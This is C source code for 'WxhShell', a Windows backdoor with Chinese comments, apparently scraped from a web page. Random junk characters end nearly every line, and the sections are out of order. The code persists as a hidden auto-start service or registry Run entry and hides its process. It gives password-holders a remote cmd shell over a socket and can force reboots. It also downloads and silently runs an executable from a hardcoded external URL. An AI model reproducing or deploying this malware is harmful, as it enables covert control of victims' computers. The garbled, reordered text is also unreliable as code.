    if(Boot(SHUTDOWN)) j/p1/sJ[y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PX/7:D?  
    else { xNOArb5e5  
    closesocket(wsh); a${<~M hm  
    ExitThread(0); +=MN_  
    } @i <vlHpl  
    break; FKBI.}A?!'  
    }  PrqyJ  
  // 获取shell z;Jz^m-  
  case 's': { 9y+0Zj+.  
    CmdShell(wsh); 38E %]*5F  
    closesocket(wsh); ;_p$5GVR|  
    ExitThread(0); L.?QZN%cN  
    break; ;V0^uB.z  
  } W"n0x8~sV  
  // 退出 K 7 OIT2-  
  case 'x': { F87/p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); urhOvC$a  
    CloseIt(wsh); Z_;! f}X  
    break; 8}K^o>J&K  
    } CuT50N;tk  
  // 离开 38#Zlc f  
  case 'q': { 8_Nyy/K#F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); of=N+ W  
    closesocket(wsh); G_]zymXQ  
    WSACleanup(); o]M1$)>b +  
    exit(1); lc[)O3,,B  
    break; (L<q Jd1Q  
        } G _-JR  
  } /*2)|2w  
  } IqAML|C  
[9^lAhX  
  // 提示信息 ("KtJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lG5KZ[/Or  
} '\M]$`Et  
  } 5=_bK^Am  
Tx>V$+al  
  return; fSF_O}kLp  
} gY&WH9sp?9  
s[bQO1g;*  
// shell模块句柄 \IaUsx"#o{  
int CmdShell(SOCKET sock) I%:\"g"c  
{ U#Wg"W{  
STARTUPINFO si; WZM  
ZeroMemory(&si,sizeof(si)); UR~s\m  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $f?GD<}?7r  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v>0I=ut  
PROCESS_INFORMATION ProcessInfo; p""\uG'  
char cmdline[]="cmd"; +"1fr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .XT]\'vW  
  return 0; \q@Co42n\  
} gA}?X  
zfw=U \  
// 自身启动模式 qV0GpVJZU?  
int StartFromService(void) :cvT/xhO  
{ G=/^]E  
typedef struct #y-R*4G  
{ Du #>y!  
  DWORD ExitStatus; Cto>~pV  
  DWORD PebBaseAddress; .*edaDi  
  DWORD AffinityMask; +ib&6IU  
  DWORD BasePriority; (q@%eor&}  
  ULONG UniqueProcessId; hg2Ywzfm-  
  ULONG InheritedFromUniqueProcessId; [}HS[($  
}   PROCESS_BASIC_INFORMATION; ik#ti=.  
ot0g@q[3  
PROCNTQSIP NtQueryInformationProcess; n^|SN9 _r  
Vi`P &uPF  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a+RUSz;DL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :T{VCw:*  
gBr /Y}I  
  HANDLE             hProcess; 1~Z   
  PROCESS_BASIC_INFORMATION pbi; K@%gvLa\  
xX|f{)<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =QK ucLo  
  if(NULL == hInst ) return 0; 2H1 [ oD[  
_(-i46x}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R"j<C13;%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CG;+Z-"X  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g:Q:cSg<  
{n&GZG"f  
  if (!NtQueryInformationProcess) return 0; 0V?7'Em  
U1`pY:P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MOPHu O{^  
  if(!hProcess) return 0;  ~)F_FS  
osc A\r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fZoQQ[s  
h$mGaw vZ~  
  CloseHandle(hProcess); PhAD: A  
{#~A `crO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -<L5;  
if(hProcess==NULL) return 0; wrc1N?[bn  
&kcmkRRG  
HMODULE hMod; R xS{  
char procName[255]; W[sQ_Z1C  
unsigned long cbNeeded; z%BX^b$Hj  
E@EP9X >  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &c}2[=  
M3Qi]jO98  
  CloseHandle(hProcess); I@5$<SN  
YC$>D? FW  
if(strstr(procName,"services")) return 1; // 以服务启动 K4 -_a{)/  
;66{S'*[  
  return 0; // 注册表启动 3-oKY*jO  
} e,Z[Nox  
zJ$U5r/u  
// 主模块 <,Pl31g^  
int StartWxhshell(LPSTR lpCmdLine) n a*Z0y  
{ S=W^iA6>  
  SOCKET wsl; wwv+s~(0  
BOOL val=TRUE; )3R5cq  
  int port=0; v_WF.sb~  
  struct sockaddr_in door; 8H1&=)M=  
(&u'S+  
  if(wscfg.ws_autoins) Install(); rp^:{6O  
re,}}'  
port=atoi(lpCmdLine); q6b&b^r+H  
B`gH({U  
if(port<=0) port=wscfg.ws_port; I2krxLPd  
0dQ\Y]b  
  WSADATA data; Z?d][zGw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q&}+O  
i9V,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c$lZ\r"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); mN> (n+ly  
  door.sin_family = AF_INET; Q+/P>5O/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x0%yz+i{:  
  door.sin_port = htons(port); $d,/(*Y#-  
GXk |p8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kkW}:dBl  
closesocket(wsl); R\Ckk;<$  
return 1; OI8}v  
} \%9QE  
Q,Y^9g"B`~  
  if(listen(wsl,2) == INVALID_SOCKET) { 8C? E1fH\  
closesocket(wsl); .|Yn[?(  
return 1; +~* e B  
} z_=V6MDM  
  Wxhshell(wsl); ?*[35XUd  
  WSACleanup(); g7lPQ_A*  
x8x-b>|$&<  
return 0; 1|AY&u%fiP  
fz?woVn  
} :`lP+y?a1  
}: u-l3e  
// 以NT服务方式启动 ?G<?: /CU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) B&BL<X r  
{ rVRv*W  
DWORD   status = 0;  D F=Rd#  
  DWORD   specificError = 0xfffffff; gX$gUB) x  
xJnN95`R@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;.rY`<|  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JStEOQF4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^.  
  serviceStatus.dwWin32ExitCode     = 0; =q|//*t2  
  serviceStatus.dwServiceSpecificExitCode = 0; mxu!$wx  
  serviceStatus.dwCheckPoint       = 0; yhI;FNSf  
  serviceStatus.dwWaitHint       = 0; ]rNxvFN*j  
];5Auh 0o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); | +uc;[`  
  if (hServiceStatusHandle==0) return; th<>%e}5c  
HV7f%U  
status = GetLastError(); T\ukJ25!  
  if (status!=NO_ERROR) +JM@kdE5b  
{ "!fwIEG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Ed{sC[j=  
    serviceStatus.dwCheckPoint       = 0; C rl:v8  
    serviceStatus.dwWaitHint       = 0; `Q/\w1-Q  
    serviceStatus.dwWin32ExitCode     = status; 7Ka4?@bQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; ori[[~OyB  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); FQE(qltf,  
    return; cct/mX2&~  
  } .6I'V3:Kg  
:h/v"2uDN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; o}f$?{)|   
  serviceStatus.dwCheckPoint       = 0; ITEf Q@#jU  
  serviceStatus.dwWaitHint       = 0; =fdW H4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?GtI.flV  
} @?;)x&<8?3  
JoZzX{eu"  
// 处理NT服务事件,比如:启动、停止 :Bu)cy#/[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _meW9)B  
{ sY?wQ:  
switch(fdwControl) rx@i .+  
{ !, rF(pz  
case SERVICE_CONTROL_STOP: D~|q^Ms,%  
  serviceStatus.dwWin32ExitCode = 0; fZLAZMrM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8<32(D{  
  serviceStatus.dwCheckPoint   = 0; E1`_[=8a9  
  serviceStatus.dwWaitHint     = 0; R~|(]#com  
  { ,U+>Q!$`\^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J, +/<Y!  
  } ~O!E&~  
  return; -v|lM8  
case SERVICE_CONTROL_PAUSE: k,; (`L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *J >6i2M,u  
  break; <OJqeUo+*\  
case SERVICE_CONTROL_CONTINUE: $!_}d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yD`pUE$  
  break; <^'IC9D]  
case SERVICE_CONTROL_INTERROGATE: }_mMQg2>=  
  break; o>T+fBHE  
}; (H:A|Lw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fF=tT C  
} -^;,m=4{3  
1CM 8P3  
// 标准应用程序主函数 )q\6pO@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KoWG:~>|  
{ #`l&HV   
I3izLi  
// 获取操作系统版本 +"JWsD(C(  
OsIsNt=GetOsVer(); :f7vGO"t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); iP:^nt?  
_JA)""l%  
  // 从命令行安装 +_gA"I  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3H4T*&9;n  
>IA1 \?(  
  // 下载执行文件 @+)T"5_Y[  
if(wscfg.ws_downexe) { ]1|7V|N6  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a40>_;}:x  
  WinExec(wscfg.ws_filenam,SW_HIDE); ae2SU4Jx  
} II[-6\d!  
$ 9E"{6;@  
if(!OsIsNt) { hx/A215L  
// 如果时win9x,隐藏进程并且设置为注册表启动 b^()[4M;  
HideProc(); PL!dkaD^y>  
StartWxhshell(lpCmdLine); ~ahu{A4Bw  
} CyB4apJ  
else <1:I[b  
  if(StartFromService()) {i3=N{5b  
  // 以服务方式启动 Z@$'fX?~9  
  StartServiceCtrlDispatcher(DispatchTable); `Hv"^o  
else i }Zz[b  
  // 普通方式启动 r(_Fr#Qn  
  StartWxhshell(lpCmdLine); * kUb[  
/OMgj7olD  
return 0; e eyZ $n  
} /[ Rp~YzW  
gp H@F X  
H`Zg-j`  
Bsd~_y}8  
=========================================== %.Kr`#lCr  
]@}hyM[D;  
TC@F*B;  
q./jYe  
KZaiy*>)  
9;`hJ!r  
" XaoVv2=G~  
8,VEuBZ  
#include <stdio.h> =)N6 R  
#include <string.h> m6 Y0,9  
#include <windows.h> O`N,aYo  
#include <winsock2.h> EaH/Gg3  
#include <winsvc.h> [D?d~pB  
#include <urlmon.h> /rK/ l  
"d M-3o<  
#pragma comment (lib, "Ws2_32.lib") |<y1<O>F  
#pragma comment (lib, "urlmon.lib") LcNI$g;}Yf  
f'`y-]"V5)  
#define MAX_USER   100 // 最大客户端连接数 Mpk7$=hjc  
#define BUF_SOCK   200 // sock buffer a"Ly9ovW  
#define KEY_BUFF   255 // 输入 buffer Yfs eX;VX  
)|5mW  
#define REBOOT     0   // 重启 =KD[#au6a  
#define SHUTDOWN   1   // 关机 t#-4edB,  
+Q[SddI  
#define DEF_PORT   5000 // 监听端口 M-F{I%Vx  
:6m"}8*q8  
#define REG_LEN     16   // 注册表键长度 AI,E9  
#define SVC_LEN     80   // NT服务名长度 300[2}Y]  
9+.3GRt7  
// 从dll定义API /c4$m3?]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U^K8^an$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ou]jm=4[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (l(d0g&p>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |Vu`-L'Jz  
ORXH<;^0y  
// wxhshell配置信息 ]XL=S|tIq  
struct WSCFG { L&]{GNw  
  int ws_port;         // 监听端口 Imyw-8/;  
  char ws_passstr[REG_LEN]; // 口令 8|+@A1)&4  
  int ws_autoins;       // 安装标记, 1=yes 0=no LA(/UA3Izd  
  char ws_regname[REG_LEN]; // 注册表键名 j<9^BNl  
  char ws_svcname[REG_LEN]; // 服务名 *<?KOM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /;u=#qu(E-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ') 2LP;(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q%)."10}]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ltkA7dUbu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1$:O9 {F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ygK,t*T20  
W&3,XFnI_  
}; 1:u~T@;" `  
PfhKomt"  
// default Wxhshell configuration "{~^EQq,  
struct WSCFG wscfg={DEF_PORT, J'L6^-gV  
    "xuhuanlingzhe", hVJ}EF 0  
    1, d4A:XNKB  
    "Wxhshell", Q#&6J=}  
    "Wxhshell", B&EUvY '  
            "WxhShell Service", ?f!&M  
    "Wrsky Windows CmdShell Service", e. E$Ej]w  
    "Please Input Your Password: ", zcio\P=^|B  
  1, 3J3wKw!`  
  "http://www.wrsky.com/wxhshell.exe", n*#HokX  
  "Wxhshell.exe" _U,Hi?b"$}  
    }; t+,2 p|B  
}b{7+ + Ah  
// 消息定义模块 +]~}kvk:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; hxw6^EA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %xp 69  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?]+! gz1  
char *msg_ws_ext="\n\rExit."; >J:liB|(  
char *msg_ws_end="\n\rQuit."; 8\PI1U  
char *msg_ws_boot="\n\rReboot..."; b/E3Kse?  
char *msg_ws_poff="\n\rShutdown..."; *h pS/g/3\  
char *msg_ws_down="\n\rSave to "; R(f%*S4  
-f?,%6(1  
char *msg_ws_err="\n\rErr!"; 1].m4vC  
char *msg_ws_ok="\n\rOK!"; 3S%/>)k  
k? ,/om1  
char ExeFile[MAX_PATH]; U_UN& /f  
int nUser = 0; Ksk[sf?J&  
HANDLE handles[MAX_USER]; F9r|EU#;  
int OsIsNt; A+fXt`YNM  
%"|W qxv  
SERVICE_STATUS       serviceStatus; sn'E}.uhXH  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ' wp _U /  
"wxyY^"  
// 函数声明 H5CL0#I  
int Install(void); LF+E5{=:R  
int Uninstall(void); a?X@ D<.;  
int DownloadFile(char *sURL, SOCKET wsh); xF 3Z>  
int Boot(int flag); $j4/ohwTDY  
void HideProc(void); H}8kku>7  
int GetOsVer(void); ]7q|) S\  
int Wxhshell(SOCKET wsl); EK\xc'6M  
void TalkWithClient(void *cs); ]v+yeGIKS  
int CmdShell(SOCKET sock); f'Oj01[  
int StartFromService(void); 9j 0o)]  
int StartWxhshell(LPSTR lpCmdLine); <uo@k'   
/8"rCh|m-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }z2[w@M  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VLfKN)g  
<EY{goW  
// 数据结构和表定义 AMK(-=  
SERVICE_TABLE_ENTRY DispatchTable[] = D23 c/8K  
{ g ?@fHFct  
{wscfg.ws_svcname, NTServiceMain}, KvO5-g  
{NULL, NULL} @z=L\ e{  
}; f$--y|=  
:edy(vC<  
// 自我安装 \9}DAM_  
int Install(void) Sh:_YD^(  
{  | 1a}p  
  char svExeFile[MAX_PATH]; ^bLFY9hSC  
  HKEY key; o76{;Bl\O  
  strcpy(svExeFile,ExeFile); iUZV-jl2/  
=i},$"Bf*%  
// 如果是win9x系统,修改注册表设为自启动 | _nBiHjNn  
if(!OsIsNt) { TrQUhmS/!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~CHVU3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {??bJRT  
  RegCloseKey(key); ^3QJv{)Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {9cjitl  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zT>BC}~.b  
  RegCloseKey(key); k/)h@K8@  
  return 0; N_l_^yD  
    } 5!Ovd O}g  
  } ss`Sl$  
} vb9C&#  
else {  k =O  
7}pg7EF3z  
// 如果是NT以上系统,安装为系统服务 _s}`ohKvD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .d?LRf  
if (schSCManager!=0) O0eM*~zI  
{ zu 7Fq]zD  
  SC_HANDLE schService = CreateService k[y^7, r  
  ( !&5*H06  
  schSCManager, | 3`8$-  
  wscfg.ws_svcname, T`GiM%R;g  
  wscfg.ws_svcdisp, 1-|aeJ  
  SERVICE_ALL_ACCESS, mri g5{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Mt@Ma ]!  
  SERVICE_AUTO_START, WYIv&h<h"  
  SERVICE_ERROR_NORMAL, +fQJ#?N2n  
  svExeFile, )^ PWr^  
  NULL, I ^[[*Bh*C  
  NULL, $<3^( y  
  NULL, ,}NTV ~  
  NULL, YdN]Tqc  
  NULL gJ^taUE  
  ); 4zZ.v"laVM  
  if (schService!=0) '1~;^rU  
  { s&XL{FE  
  CloseServiceHandle(schService); o.s(=iG  
  CloseServiceHandle(schSCManager); U.Y7]#P:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `]a0z|2'!  
  strcat(svExeFile,wscfg.ws_svcname); /<Z3x _c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Y8N+v+V/  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FuG;$';H75  
  RegCloseKey(key); N*)O_Ki  
  return 0; NCgKWyRR  
    } ,;f5OUl?[  
  } +zEyCx=8H  
  CloseServiceHandle(schSCManager); hS&.-5v  
} (O& HCT|  
} yR"mRy1  
lNTbd"}$:  
return 1; Fh/sD?  
} [2!C ^ \t  
"]\3t;IT  
// 自我卸载 T2Yc` +  
int Uninstall(void) ph~BxK )i6  
{ ux6p2Sk;K  
  HKEY key; k *>"@  
;d FJqo82  
if(!OsIsNt) { %"WhD'*z}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \s!x;nw[  
  RegDeleteValue(key,wscfg.ws_regname); pF(6M3>IN  
  RegCloseKey(key); #$F*.vQSs+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kdaq_O:s  
  RegDeleteValue(key,wscfg.ws_regname); M`E}1WNQ?]  
  RegCloseKey(key); 5Vai0Qfcu:  
  return 0; Qj$w7*U  
  } wJ"]H!r0  
} 4um^7Ns)7  
} %/qwqo`Q  
else { hD4>mpk  
0 ZSn r+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rK|("  
if (schSCManager!=0) U*,\UF  
{ d]MpE9@'v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OL_jU2,fv  
  if (schService!=0) fK2r6D9  
  { Av4(=}M}@  
  if(DeleteService(schService)!=0) { ) $0>L5d:  
  CloseServiceHandle(schService); mu5r4W47  
  CloseServiceHandle(schSCManager); HJP~ lg  
  return 0; WdB\n/BWB  
  } Ey=}bBx  
  CloseServiceHandle(schService); X~SNkM  
  } "oyBF CW  
  CloseServiceHandle(schSCManager); \xcf<y3_  
} g's!\kr  
} ~Yc!~Rz  
D4uAwmc  
return 1;  V^rL  
} [B+:)i  
c2?VjuB0  
// 从指定url下载文件 y~su1wUp  
int DownloadFile(char *sURL, SOCKET wsh) G6+6u Wvl  
{ \L`x![$~q  
  HRESULT hr; $\|Q+7lQ  
char seps[]= "/"; ?[P>2oz  
char *token; oB~V~c}8x  
char *file; X4Pm&ol  
char myURL[MAX_PATH]; lxr;AJ(  
char myFILE[MAX_PATH]; j(k}NWPH  
`r-3"or/$  
strcpy(myURL,sURL); $cU7)vmK`  
  token=strtok(myURL,seps); B2|0.G|[j  
  while(token!=NULL) DIJmISk  
  { IAmZ_2  
    file=token; B< HN$/  
  token=strtok(NULL,seps); L&~'SC  
  } upX@8WxR  
H6Bw3I[  
GetCurrentDirectory(MAX_PATH,myFILE); lJdYR'/Wd  
strcat(myFILE, "\\"); j; R20xf0  
strcat(myFILE, file); ^@{"a  
  send(wsh,myFILE,strlen(myFILE),0); 3s67)n  
send(wsh,"...",3,0); <]X 6%LX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9X +dp  
  if(hr==S_OK) FFN Sn  
return 0; L ./c#b!{  
else g-1j#V`5  
return 1; X$6QQnyR  
Xo&\~b#-  
} cbs ;  
adAdX;@e`  
// 系统电源模块 $R NHRA.  
int Boot(int flag) F ^aD#  
{ Tku6X/LF  
  HANDLE hToken; g"(@+\XZH"  
  TOKEN_PRIVILEGES tkp; =\oL'>q  
gVI`&W__,  
  if(OsIsNt) { %QEyvl4  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L]u^$=rI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); P}qpy\/(4  
    tkp.PrivilegeCount = 1; Px9 K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  ; (A-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %g{)K)$,ui  
if(flag==REBOOT) { Pai8r%Zfu  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;r&Z?B$  
  return 0; s9OW.i]zX  
} 4nQ5zwiV  
else { e9tb]sAG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 ltW9^cF}  
  return 0; Y_EEnx&>i  
} DEt!/a{X  
  }  K+XUC  
  else { %5DM ew  
if(flag==REBOOT) { e-[PuJ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >tx[UF@P@  
  return 0; SM2N3"\  
} Bq1}"092  
else { ewHs ]V+U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !n P4S)A  
  return 0; ?Zsh\^k.g  
} ^8J`*R8CL  
} 6EO@ Xf7,  
IkjJqz  
return 1; 6x=w-32+ y  
} zSU,le  
oif|X7H;  
// win9x进程隐藏模块 [u37 Hy_Gi  
void HideProc(void) G--(Ef%v'  
{ BV }CmU&DA  
YOj&1ymBZ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); OP"_I!t  
  if ( hKernel != NULL ) )fxn bBz{  
  { >cg)Nq D  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nk7>iK!i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9V[}#(f$  
    FreeLibrary(hKernel); gIusp917  
  } 0@{0#W3R  
@rDBK] V  
return; *|<~IQg  
} wfpl]d!  
K~I?i/P=z  
// 获取操作系统版本 dr+(C[=  
int GetOsVer(void) vt^7:! r  
{ sQ,xTWdj  
  OSVERSIONINFO winfo; rpDBKo  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E2YVl%.  
  GetVersionEx(&winfo); \AH5 zdK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  _cj=}!I  
  return 1; &v t)7[  
  else o3GkTn O  
  return 0; H{,1-&>|  
} "DfjUk  
(V\N1T,f  
// 客户端句柄模块 ir>h3Zk   
int Wxhshell(SOCKET wsl) II|;_j  
{ HLG5SS7  
  SOCKET wsh; %7P]:G+Y\  
  struct sockaddr_in client; .P/0 `A{&  
  DWORD myID; Ui"{0%  
_q4O2Fx0  
  while(nUser<MAX_USER) $/tj<++W  
{ eq(h {*rC  
  int nSize=sizeof(client); 1"75+Q>D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WFFQxd|Z  
  if(wsh==INVALID_SOCKET) return 1; O-K*->5S  
'SoBB:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5`+9<8V  
if(handles[nUser]==0) >1;jBx>Qy%  
  closesocket(wsh); .UQ|k,,t  
else C;K+ITlJ  
  nUser++; 7pQ 5`;P  
  } 6 U[VoUU   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j BBl{  
unew XHA  
  return 0; bhIShk[  
} g?Nk-cg  
czpu^BT;;T  
// 关闭 socket }2"W0ZdWD  
void CloseIt(SOCKET wsh) R=D}([pi  
{ j/=Tj'S?D  
closesocket(wsh); *($,ay$&H  
nUser--; |N% l at  
ExitThread(0); F[yofR N  
} <!XunXh  
oy5K* }  
// 客户端请求句柄 Skg/iH"(  
void TalkWithClient(void *cs) D&2NO/ R  
{ o{fYoBgr  
&]RE 5!  
  SOCKET wsh=(SOCKET)cs; ")\V  
  char pwd[SVC_LEN]; X' 5R4j  
  char cmd[KEY_BUFF]; IF5-@hag,  
char chr[1]; UH}lKc=t  
int i,j; ~jzLw@"~$^  
:{iH(ae;  
  while (nUser < MAX_USER) { @4 8!e-W  
+$nNYD  
if(wscfg.ws_passstr) { uax0%~O\  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ncOgSj7e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5X+`aB  
  //ZeroMemory(pwd,KEY_BUFF); }F!Uu KR  
      i=0; 2w8cJadT'p  
  while(i<SVC_LEN) { w43b=7  
,52 IR[I<T  
  // 设置超时 [f6BA|   
  fd_set FdRead; }u3|w0~c)  
  struct timeval TimeOut; Xb>SA|6[|  
  FD_ZERO(&FdRead); H1B%}G*Ir-  
  FD_SET(wsh,&FdRead); fuv{2[N V  
  TimeOut.tv_sec=8; `'<$N<!  
  TimeOut.tv_usec=0; {}ADsh@7d'  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); WQ[n K5#  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); '@hUmrl  
=FV(m S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R2a99#J  
  pwd=chr[0]; iz^uj  
  if(chr[0]==0xd || chr[0]==0xa) { -V}xvSVg  
  pwd=0; ~5%3]  
  break; ."^\1N(.n  
  } |C z7_Rn  
  i++; .!0Rh9yyl  
    } 9?O8j1F  
4s9@4  
  // 如果是非法用户,关闭 socket so$(-4(E O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {R(CGrI  
} mHW%:a\L  
Gt*K:KT=L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0Atha>w^o~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gveJ1P  
z{\tn.67  
while(1) { `14@dk  
}BI6dZ~2A  
  ZeroMemory(cmd,KEY_BUFF); y,|2hrj/0E  
' *a}*(0OA  
      // 自动支持客户端 telnet标准   W-#DEU 7_  
  j=0; wzju)qS  
  while(j<KEY_BUFF) { XF)N_}X^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1~K'r&  
  cmd[j]=chr[0]; B t}90#  
  if(chr[0]==0xa || chr[0]==0xd) { cpP}NJb0;%  
  cmd[j]=0; ~ E6e~  
  break; y.D+M$f  
  } gs3(B/";c  
  j++; =KOi#;1  
    } hIV]ZYbH  
6JZ>&HA  
  // 下载文件 E9j<+Ik  
  if(strstr(cmd,"http://")) { -_5Dk'R#`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8CUtY9.  
  if(DownloadFile(cmd,wsh)) Gkem_Z  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T%6JVFD  
  else /tj]^QspS  
